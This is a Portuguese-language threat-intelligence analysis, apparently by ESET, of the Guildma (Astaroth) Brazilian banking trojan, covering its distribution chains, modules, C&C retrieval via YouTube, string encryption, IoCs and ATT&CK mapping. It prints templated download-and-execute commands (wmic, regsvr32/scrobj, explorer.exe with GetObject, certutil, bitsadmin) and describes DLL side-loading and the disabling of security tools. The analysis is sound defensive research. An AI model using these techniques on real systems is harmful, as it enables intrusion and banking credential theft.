Desta vez, analisaremos o Guildma (também conhecido como Astaroth, um poderoso demônio), um trojan bancário latino-americano de alta prevalência. Este trojan, escrito em Delphi, que está direcionado aos usuários do Brasil, possui algumas técnicas inovadoras de execução e ataque. Nesta publicação, descreveremos a versão mais recente deste trojan, destacando as mudanças mais importantes feitas desde meados de 2019, quando vários artigos sobre Guildma foram publicados após a maior campanha até agora.

Recursos do Guildma

Guildma é um trojan bancário que direciona suas campanhas exclusivamente para o Brasil. De acordo com dados de nossa telemetria (e também devido à repercursão pública que recebeu), acreditamos que a ameaça se trata do trojan bancário mais impressionante e avançado da região. Além de estar direcionado a instituições financeiras, Guildma também tenta roubar credenciais de contas de e-mail, lojas on-line e serviços de streaming, e afeta várias vítimas dez vezes mais do que qualquer outro trojan bancário já descrito em nossa série sobre trojans bancários da América Latina. A ameaça também usa métodos de execução inovadores e técnicas sofisticadas de ataque.

Ao contrário dos outros trojans bancários que descrevemos nas publicações anteriores desta série, Guildma não armazena as janelas pop-up falsas que ele usa dentro do binário. Em vez disso, o ataque é orquestrado pelo servidor C&C. Isso dá aos criadores da ameaça maior flexibilidade para reagir às contramedidas implementadas pelos bancos selecionados.

O Guildma implementa as seguintes funcionalidades de backdoor:

  • Produz screenshots
  • Grava pressionamentos de tecla
  • Emula teclado e mouse
  • Bloqueia atalhos de teclado (como desativar Alt + F4 para dificultar a eliminação das janelas falsas que podem ser exibidas)
  • Baixa e executa arquivos
  • Reinicializa a máquina

Guildma é muito modular. Até o momento de produção deste post, a ameaça contava com 10 módulos, sem incluir as etapas da cadeia de distribuição. A funcionalidade dos módulos individuais será discutida mais adiante.

Evolução das cadeias de distribuição

De acordo com dados de nossa telemetria, Guildma se propaga exclusivamente por e-mails de spam que incluem anexos maliciosos. Abaixo, compartilhamos alguns exemplos de uma campanha de meados de novembro de 2019.

Figura 1. Exemplo de e-mail de spam.

Figura 2. Exemplo de e-mail de spam.

Figura 3. Exemplo de e-mail de spam.

Figura 4. Exemplo de e-mail de spam. Lembrete falso de fatura que vence despois de amanhã e que o pagamento pode levar até 72 horas para ser processado.

Uma das características típicas das cadeias de distribuição do Guildma é usar ferramentas já presentes no sistema, geralmente de maneira nova e incomum.

Outra característica é a reutilização de técnicas. Embora a ameaça conte com novas técnicas de tempos em tempos, em geral os desenvolvedores parecem simplesmente reutilizar técnicas de versões anteriores.

Figura 5. Cadeia de distribuição do Guildma na versão 150.

A Figura 5 mostra a cadeia de distribuição da versão 150, mas a estrutura das cadeias de distribuição do Guildma é muito dinâmica. Por exemplo, nas versões anteriores, o arquivo LNK malicioso mostrado na Figura 5 não foi incorporado em um arquivo ZIP, ou usou um arquivo SFX RAR contendo um instalador MSI. Além disso, ele costumava contar com outro estágio JScript cujo único objetivo era fazer o download e executar o estágio final do JScript. Resumindo, há muitas alterações que foram feitas para comentar todas elas neste artigo. De fato, a única parte que permaneceu praticamente a mesma é o estágio final do JScript.

Usando os dados coletados do amplo monitoramento que fizemos dessa família, compilamos uma imagem muito boa da atividade do Guildma.

A Figura 6 mostra todas as detecções da ESET do componente do primeiro estágio do Guildma. Como você pode ver, as campanhas cresceram lentamente até a chegada de uma campanha massiva em agosto de 2019, quando vimos até 50.000 amostras por dia. Esta campanha continuou por quase dois meses e significou mais que o dobro do número de detecções que vimos nos 10 meses anteriores.

Figura 6. Detecções do primeiro estágio do Guildma desde outubro de 2018.

A seguir, apresentamos um resumo de algumas das técnicas mais interessantes usadas nos últimos 14 meses.

Execução do estágio JScript

No ano passado, Guildma usou vários métodos para executar os estágios JScript de sua cadeia de distribuição. No final de 2018, Guildma estava ocultando seu código em arquivos eXtensible Stylesheet Language (.xsl) e usando o wmic.exe para fazer o download e executá-los:

wmic.exe <wmic query> /format:"<URL>"

Ele então passou a usar regsvr32.exe e scrobj.dll para baixar um objeto COM implementado com JScript e executar sua rotina de registro (que continha o código malicioso):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

Mais recentemente, os criadores começaram a se aproveitar do Windows Explorer para executar o estágio JScript. Este ataque depende do fato do Windows Explorer tentar abrir qualquer arquivo passado para ele na linha de comando com o programa associado e o fato de que a associação padrão para arquivos .js é o Microsoft Windows Script Host. O "script" passado para o Windows Explorer é um único comando cujo objetivo é baixar e executar o estágio JScript real:

echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js

Execução de módulos binários

Os métodos para executar módulos PE não são menos diversos.

Quando começamos a rastrear Guildma, a ameaça se aproveitou do aswRunDll.exe da Avast para iniciar o primeiro estágio binário, com o regsvr32.exe como um failover em computadores nos quais os produtos Avast não estavam instalados. O uso do aswRunDll.exe foi removido, deixando o regsvr32.exe como o único método de execução. Após um breve período em que ele usou o rundll32.exe, Guildma mudou para seu método atual de execução: ExtExport.exe.

O ExtExport.exe é um componente não documentado do Microsoft Internet Explorer usado para exportar indicadores do Mozilla Firefox e do 360 Secure Browser, e pode ser abusado no carregamento lateral da DLL. Quando o seguinte comando é executado, mozcrt19.dll, mozsqlite3.dll e sqlite3.dll são carregados da pasta especificada na linha de comando:

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Para se aproveitar disso, a ameaça normalmente descarta a DLL para carregá-la como um dos arquivos mencionados acima. Guildma usa todos os três.

Download dos módulos binários

O Guildma também usou algumas maneiras diferentes de baixar os módulos binários. A primeira versão estava usando o exe copiado para o certis.exe (presumivelmente para evitar a detecção):

certis.exe -urlcache -split -f "<URL>" "<destination path>"

Os criadores da ameaça mudaram para o BITSAdmin, a ferramenta de administração do Background Intelligent Transfer Service da Microsoft e ainda a estão usando (pelo menos até o momento da produção deste post):

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Por alguns meses, os módulos binários foram codificados em base64 e hospedados no Google Cloud. Naquela época, o Guildma estava usando o BITSAdmin e o certutil - BITSAdmin para baixar os módulos e o certutil para decodificá-los.

Outras mudanças

Guildma usa nomes estranhos e não descritivos de variáveis ​​e funções. Quando começamos a rastrear Guildma, os nomes, embora sem sentido, eram claramente criados pelo homem (por exemplo, "radar" para a função de número aleatório ou "Bxaki" para a função de download). Em junho de 2019, todos foram alterados para nomes de aparência aleatória (por exemplo, "bx021" e "mrc430"). A princípio, pensamos que os criadores implementaram algum tipo de ofuscador automático de script, mas acabou sendo uma mudança única e os nomes permaneceram os mesmos desde então.

Uma adição relativamente nova é a antiga técnica de uso do ADS (Alternate Data Streams) para armazenar módulos binários. Todos os módulos agora são armazenados como ADS de arquivo único (por exemplo, "desktop.ini: nauwuygiaa.jpg", "desktop.ini: nauwuygiab.jpg" etc.).

Histórico de versões

Aparentemente, o Guildma passou por muitas versões durante seu desenvolvimento, mas geralmente houve pouco desenvolvimento entre as versões, devido à sua arquitetura pesada que usa valores de configuração codificados, os criadores devem coletar todos os binários para cada nova campanha. Um trabalho que claramente não é totalmente automatizado, pois muitas vezes houve um atraso significativo entre a atualização do número da versão em scripts e binários.

Neste artigo, abordamos a versão 150, mas desde que começamos a escrever este post, mais duas versões foram lançadas. Estas versões não contam com alterações substanciais na funcionalidade ou distribuição, o que suporta nossas alegações sobre o ciclo de desenvolvimento do Guildma.

O estágio final da cadeia de distribuição costumava conter um nome de versão (e mesmo antes disso, fazia o download desse nome junto com os módulos binários), mas foi (presumivelmente) permanentemente substituído por um simples "xXx" desde a versão 148 .

A Tabela 1 resume todas as versões lançadas desde que começamos a rastrear a Guildma ativamente em outubro de 2018. Observando as sequências de versões, temos a sensação de que o criador da ameaça é apaixonado por ecologia e carros velozes.

Tabela 1. Histórico de versões do Guildma.

First seen Version number Version name Version prefix
2018-09-18 131 131_SUPER_Tesla marxvxinhhm
2018-10-31 132 132_ULTRA_Tesla srsysddirrx
2018-11-28 133 133_TORRE_DE_Tesla mxgetronicosxy
2018-11-29 134 134_MAXX_TESLAs dwqiopawsamazon
2018-12-03 135 135_MOAB_TESLAs lu769tsla
2018-12-13 136 136_KRAKEN_TESLAs lrdsnhrxxfery
2019-02-06 137 137_RAPTOR_TESLAs rakpat0rpcack
2019-03-21 138 138_RAPTOR_TESLAs_ hillwd763free
2019-05-20 139 139_TESLA_ falxconxrenw
2019-06-03 140 140_ASTH_ valehraysystqx
2019-06-24 141 141_T3SL4S_ ayt3ese4xw
2019-07-17 142 142_T3SL4S_ halawxtz
2019-08-09 143 143_T3SL4S_ asmonnwqk
2019-08-26 144 144_MULT1T3SL4S_ daffsyshqy
2019-09-26 145 145_MULT1T3SL4S_ landoqeahjky
2019-10-16 146 146_MULT1T3SL4S_ valkanxpca
2019-11-04 147 147_MULT1T3SL4S_ koddsuffy
2019-11-19 148 xXx lpquayevvt
2019-11-22 149 #rowspan# nauwuygia
2019-12-13 150 #rowspan# andrealfo
2020-01-14 151 #rowspan# balberith
2020-02-05 152 #rowspan# masihaddajjal

Descrição do módulo

Como mencionado anteriormente, Guildma é muito modular. A estrutura de seus módulos parece ser quase sempre constante. Nesta publicação, descreveremos brevemente a funcionalidade de cada módulo.

Todos os nomes de módulos são compostos por: um prefixo compartilhado e dependente da versão e um sufixo específico do módulo. Na Tabela 2, o prefixo dependente da versão é andrealfo.

Tabela 2. Guildma module overview.

URL filename Filesystem filename Module
andrealfohh1a.dll.zip andrealfo64.~ Main module loader 1 (part 1)
andrealfohh1b.dll.zip #rowspan# Main module loader 1 (part 2)
andrealfoxa.gif.zip andrealfoxa.gif Main module injector (part 1)
andrealfoxb.gif.zip andrealfoxb.gif Main module injector (part 2)
andrealfoxc.gif.zip andrealfoxc.gif Main module injector (part 3)
andrealfogx.gif.zip andrealfogx.gif Main module loader 2
andrealfog.gif.zip andrealfog.gif Main module
andrealfoc.jpg.zip andrealfoc.jpg Contacts stealer and form grabber module
andrealfodwwn.gif.zip andrealfodwwn.gif RAT module (DLL)
andrealfodx.gif.zip andrealfodx.gif RAT module (EXE)
andrealfoa.jpg.zip andrealfoa.jpg MailPassView
andrealfob.jpg.zip andrealfob.jpg WebBrowserPassView
andrealfoi.gif.zip andrealfoi.gif JScript dropper module

Com exceção do módulo loader 1 (*64.~) e do módulo injetor principal (*xa.gif, *xb.gif e *xc.gif), todos os módulos são criptografados com criptografia XOR simples usando uma repetição Chave de 32 bytes. A chave é gerada a partir de uma seed de 32 bits usando o algoritmo mostrado na Figura 7. O valor do seed é ofuscado nos binários para evitar extração simples (consulte a Figura 8).

Figura 7. Algoritmo de geração de chaves.

Figura 8. Ofuscação do seed no binário.

Três módulos se comunicam com um servidor C&C: o módulo principal, o módulo RAT e o módulo para roubar contatos e capturar formulários. A comunicação é feita através de HTTP(S) usando uma combinação de base64 e vários algoritmos de criptografia simples e personalizados para proteger os dados transferidos.

A seguir, descreveremos como obter o endereço do servidor C&C.

Módulo principal loader 1 (*64. ~)

Este é o primeiro estágio binário da cadeia. O arquivo é uma DLL baixada em duas partes concatenadas no estágio JScript anterior. Carrega os três arquivos que compõem o loader do próximo estágio (*xa.gif, *xb.gif e *xc.gif), concatene-os, atribue o arquivo PE resultante em seu próprio espaço de endereço e execute-o.

Realiza o upload de um arquivo PE é um processo relativamente complexo; portanto, os criadores da ameaça usaram a biblioteca de código aberto BTMemoryModule para esse fim.

Injetor do módulo principal (* xa.gif + * xb.gif + * xc.gif)

Este módulo carrega o próximo estágio (*gx.gif) do disco e o descriptografa. Em seguida, execute o primeiro executável existente na lista a seguir e injeta o payload descriptografado nele.

  1. C:\Program Files\AVAST Software\Avast\aswRunDll.exe
  2. C:\Program Files\Diebold\Warsaw\unins000.exe *
  3. C:\Windows\SysWOW64\userinit.exe
  4. C:\Windows\System32\userinit.exe

* Um aplicativo, popular no Brasil, para proteger o acesso ao banco ao home banking.

Módulo principal loader 2 (*gx.gif)

O último estágio do loader é muito simples e parece duplicar desnecessariamente a funcionalidade do módulo principal loader 1. Carrega e descriptografa o módulo principal (*g.gif), o mapeia em seu próprio espaço de memória e, em seguida, o executa.

Módulo principal (* g.gif)

O módulo principal do Guildma organiza todos os módulos restantes. Sua implementação é enganosamente complexa, usando inúmeros temporizadores e eventos, mas sua funcionalidade é relativamente simples. Ele contém código herdado que não é mais usado, bem como o código de pré-produção que ainda não está sendo usado.

Depois de carregado, este módulo verifica se está sendo executado em um ambiente sandbox (por exemplo, examinando o nome do computador e o ID do volume do disco do sistema), se há outras instâncias em execução (dependendo dos nomes das janelas) e se a configuração regional do sistema for diferente do português. Se esse processo provar que o sistema não é interessante ou que já foi comprometido pelo Guildma, o malware é desativado.

Caso contrário, o módulo coleta informações do sistema (nome do computador, qual antivírus está usando, quais programas foram instalados...) e estabelece contato com o servidor C&C. Em seguida, ele começa a monitorar eventos interessantes, principalmente quando determinados aplicativos são iniciados ou sites de home banking são abertos, e a executar determinadas ações (por exemplo: produzir capturas de tela, impedir que o usuário feche a janela interceptando atalhos de teclado, iniciar o Módulo RAT, etc.).

O módulo também implementa comandos de backdoor cuja funcionalidade se sobrepõe amplamente ao módulo RAT.

Ladrão de contatos e grabber de formulários (*c.jpg)

Este módulo possui duas funções: coletar endereços de e-mail e dados de formulários de páginas web.

Os endereços de e-mail são obtidos dos clientes de e-mail da área de trabalho (como Microsoft Outlook, ThunderBird e The Bat!) analisando seus próprios catálogos de endereços e e-mails.

O grabber de formulário usa a tecnologia do Windows COM para interagir com o Internet Explorer. Ele aguarda até que um site específico seja aberto (principalmente serviços de e-mails brasileiros, lojas eletrônicas e gateways de pagamento) e feche a sessão do usuário, forçando a vítima a inserir suas credenciais. Em seguida, recupera o DOM e procura por valores importantes do campo de entrada (como nomes de usuário, senhas e números de cartão de crédito).

Módulo RAT (*dwwn.gif, *dx.gif)

O módulo RAT vem em duas compilações funcionalmente idênticas: DLL (*dwwn.gif) e EXE (*.dx.gif).

O módulo RAT implementa a funcionalidade de download e execução, pode produzir capturas de tela, emular ações de teclado e mouse, e reiniciar o computador.

A maioria dos trojans bancários na América Latina exibe pop-ups falsos com base no monitoramento do nome da janela ativa. Estas janelas são geralmente armazenadas no binário. Não encontramos esse código no Guildma, mas o módulo RAT contém um formulário Delphi que implementa um navegador web simples. Como também é executado de acordo com o nome da janela ativa, acreditamos que este formulário seja usado para exibir diálogos falsos ao usuário.

MailPassView (*a.jpg) e BrowserPassView (*b.jpg)

Essas são ferramentas gratuitas do Nirsoft para extrair credenciais salvas de clientes de e-mail populares e navegadores web. Como nas versões recentes a Nirsoft removeu o suporte a determinadas operações (output para arquivo, sem GUI) para interromper o abuso dessas ferramentas por malware, os criadores do Guildma estão usando versões anteriores que tinham esses recursos. O Mispadu também tira proveito das mesmas ferramentas, exceto que o Mispadu esteja usando versões mais recentes de patches para dar suporte a essas operações.

Módulo dropper do JScript (*i.gif)

Este módulo descarta e executa (usando cscript.exe) um arquivo JScript. O script consiste em duas partes: a primeira parte é armazenada como uma cadeia longa criptografada, enquanto a segunda parte é montada a partir de várias cadeias curtas (algumas criptografadas e outras em texto sem formatação).

O script executa as seguintes ações:

• Desabilita o UAC

• Desativa a verificação de assinatura EXE

• Desativa o Windows Defender

• Cria uma regra de firewall que desativa o acesso à rede paraC:\Program Files\AVAST Software\Avast\Setup\avast.setup

• Desabilita o driver wsddntf (Diebold Warsaw GAS Tecnologia - o software de proteção de acesso ao banco apresentado acima)

• Adiciona uma exceção de firewall para arquivos usados ​​como destinos de injeção:

  • C:\Program Files\Diebold\Warsaw\unins000.exe
  • C:\Program Files\AVAST Software\Avast\aswRunDll.exe

Acreditamos que esse módulo ainda esteja em desenvolvimento, pois nunca observamos o droppeado de scripts em nossas máquinas de teste.

Novos desenvolvimentos (desde meados de 2019)

Nova recuperação de C&C

Na versão 142 foi implementada uma nova maneira de distribuir servidores C&C abusando dos perfis do YouTube e do Facebook. No entanto, os criadores pararam de usar o Facebook quase que imediatamente, mas no momento da produção deste post, o YouTube já tinha resgatado a confiança. Isso é bem semelhante ao Casbaneiro, embora um pouco mais bruto. Enquanto o Casbaneiro escondeu os dados nas descrições dos vídeos e os ofuscou como parte de uma URL, Guildma simplesmente coloca os dados na descrição do canal. O início e o fim dos endereços C&C criptografados são delimitados por "|||". Os dados intermediários são codificados e criptografados em base64 usando o algoritmo de criptografia de cadeia Mispadu. Agora este é o principal método para recuperar servidores C&C. O método anterior (descrito pelo Avast) ainda está presente como um backup.

Figura 9. Domínios criptografados do servidor C&C do Guildma armazenados no YouTube.

Módulos adicionados e removidos

O módulo dropper JScript descrito acima foi adicionado na versão 145. Pelo contrário, na versão 139, Guildma removeu dois outros módulos presentes nas versões anteriores: e-mail em massa (*f.jpg) e seu loader (*e.jpg ). Nas versões a seguir, esses módulos ainda estavam acessíveis com os nomes esperados (<versão prefix> e.jpg e <versão prefix> f.jpg) do mesmo servidor que os outros módulos. Isso nos leva a crer que esses módulos ainda estão em desenvolvimento, mas agora são distribuídos apenas conforme necessário, presumivelmente usando o comando backdoor de download e execução.

Nova criptografia de strings

O módulo dropper do JScript trouxe um novo algoritmo de criptografia de strings. Uma variante desse algoritmo (mostrada na Figura 10) foi propagada para outros módulos na versão 147.

def decrypt ( ct, key ):
	# stage 1
	ct = unhexlify ( ct );
	last = ct [ 0 ];
	s = bytearray ( ct [ 1 : ] );
	for i in range ( len ( s ) ):
		x = s [ i ] ^ key [ i % len ( key ) ];
		if last > x:
			x += 0xff;
		x -= last;
		last = s [ i ];
		s [ i ] = x;

	# stage 2 - reverse string
	s = s [::-1]; 

	# stage 3 - c = not ( c - 10 )
	s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] ); 

	# stage 4 - Base25 decode and key subtraction
	k = ord ( s [ 0 ] ) - 65;
	ot = "";
	for i in range ( 1, len ( s ), 2 ):
		ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );

	return ot;

Figura 10. Novo algoritmo de criptografia de strings.

Originalmente, Guildma estava usando a mesma criptografia de string que Casbaneiro. O novo algoritmo possui quatro estágios e, como você pode ver, o algoritmo de criptografia de cadeia original ainda é usado como o primeiro estágio. Também vale a pena notar o fato de que o quarto estágio está usando o algoritmo de criptografia Mispadu novamente.

Na versão 148, Guildma implementou uma tabela de strings. Todas as strings são descriptografadas no início da execução e acessadas da tabela quando necessário.

Eliminação de alvos internacionais

Na versão 138, Guildma acrescentou a capacidade de atingir instituições (principalmente bancos) fora do Brasil. Apesar disso, não observamos campanhas internacionais. As campanhas que hospedam arquivos na infraestrutura do Cloudflare Workers até bloquearam todos os downloads provenientes de IPs não brasileiras. De fato, nos últimos 14 meses, não vimos nenhuma campanha direcionada a usuários fora do Brasil.

Finalmente, na versão 145, a capacidade de atingir instituições fora do Brasil foi eliminada. Com base nesses fatos, acreditamos que era simplesmente um recurso em desenvolvimento que acabou sendo descartado.

Conclusão

Nesta parte da série, falamos sobre o Guildma. Mostramos seu rico desenvolvimento histórico enquanto focamos na variante mais recente.

O Guildma compartilha novamente as características predominantes dos trojans bancários da América Latina. Está escrito em Delphi, aponta para a região, implementa a funcionalidade backdoor, divide sua funcionalidade em muitos módulos e se aproveita de ferramentas legítimas.

O Guildma também compartilha características com outras famílias que discutimos anteriormente como parte desta série sobre trojans bancários na América Latina. Ou seja, seu algoritmo de criptografia atual combina os usados ​​por Casbaneiro e Mispadu.

Em caso de dúvidas, escreva para ameaintel@eset.com. Os indicadores de comprometimento também podem ser encontrados no repositório GitHub.

Indicadores de Comprometimento (IoCs)

Hashes

SHA-1 Description ESET Detection name
45c58bc40768dce6a6c611e08fd34c62441aa776 Main module loader 1 Win32/Spy.Guildma.BM
861f20b0dcc55f94b4c43e4a7e77f042c21506cf Main module injector Win32/Spy.Guildma.BJ
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 Main module loader 2 Win32/Spy.Guildma.Q
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d Main module Win32/Spy.Guildma.BS
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc Contacts stealer and form grabber Win32/Spy.Guildma.D
6c9304c5862d4e0de1c86d7ae3764f5e8358daff RAT module (DLL) Win32/Spy.Guildma.BR
89fbffe456de850f7abf4f97d3b9da4bad6afb57 RAT module (EXE) Win32/Spy.Guildma.BR
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d MailPassView Win32/PSWTool.MailPassView.E
92bcf54079cbba04f584eac4486473c3abdd88cd WebBrowserPassView Win32/PSWTool.WebBrowserPassView.E
a2048f435f076988bf094274192a196216d75a5f JScript dropper module Win32/Spy.Guildma.BP

Nomes de arquivos

C:\Users\Public\Libraries\qlanl\*

Link de início

  • Localização

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

  • Alvos

C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe

  • Args

<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

Servidores C&C

  • https://www.zvatrswtsrw[.]ml
  • https://xskcjzamlkxwo[.]gq
  • https://www.vhguyeu[.]ml
  • https://www.carnataldez[.]ml
  • https://www.movbmog[.]ga
  • https://iuiuytrytrewrqw[.]gq
  • https://www.gucinowertr[.]tk
  • https://equilibrios[.]ga
  • https://www.clooinfor[.]cf
  • https://ambirsr[.]tk
  • https://dbuhcbudyu[.]tk
  • https://nvfjvtntt[.]cf
  • http://whia7g.acquafufheirybveru[.]online

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Initial Access T1193 Spearphishing Attachment Guildma distribution chains start with a malicious email attachment.
Execution T1073 Rundll32 Guildma utilizes rundll32.exe to execute its binary modules.
T1047 Windows Management Instrumentation Guildma abuses WMIC.exe to execute some of its distribution chain stages.
Persistence T1060 Registry Run Keys / Startup Folder Guildma ensures persistence by creating a LNK file in the %STARTUP% folder.
Defense Evasion T1197 BITS Jobs BITSAdmin.exe is used to download binary modules.
T1089 Disabling Security Tools Guildma disables Windows Defender.
T1140 Deobfuscate/Decode Files or Information The majority of Guildma modules need to be decrypted after downloading.
T1073 DLL Side-Loading Guildma abuses ExtExport.exe for DLL Side-Loading.
T1096 NTFS File Attributes Guildma utilizes ADS to hide its modules on disk.
T1055 Process Injection Guildma utilizes process injection when executing its modules.
T1064 Scripting Guildma implements its distribution chain stages in various scripting languages (mainly JScript).
T1220 XSL Script Processing Guildma utilizes XSL script(s) in its distribution chains.
Credential Access T1081 Credentials in Files Guildma extracts credentials stored by web browsers and email clients in files.
T1214 Credentials in Registry Guildma extracts credentials stored by web browsers and email clients in Windows Registry.
Discovery T1083 File and Directory Discovery Guildma uses presence of certain files to determine whether banking and security tools are installed.
T1010 Application Window Discovery Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running.
T1063 Security Software Discovery Guildma detects the presence of several security products.
T1082 System Information Discovery Guildma collects OS version and bitness, computer name and system locale.
T1497 Virtualization/Sandbox Evasion Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments.
Collection T1113 Screen Capture Guildma is capable of taking screenshots.
Command and Control T1024 Custom Cryptographic Protocol New C&C addresses are encrypted using custom encryption algorithms.
Exfiltration T1041 Exfiltration Over Command and Control Channel Guildma uploads screenshots and log files to the C&C server.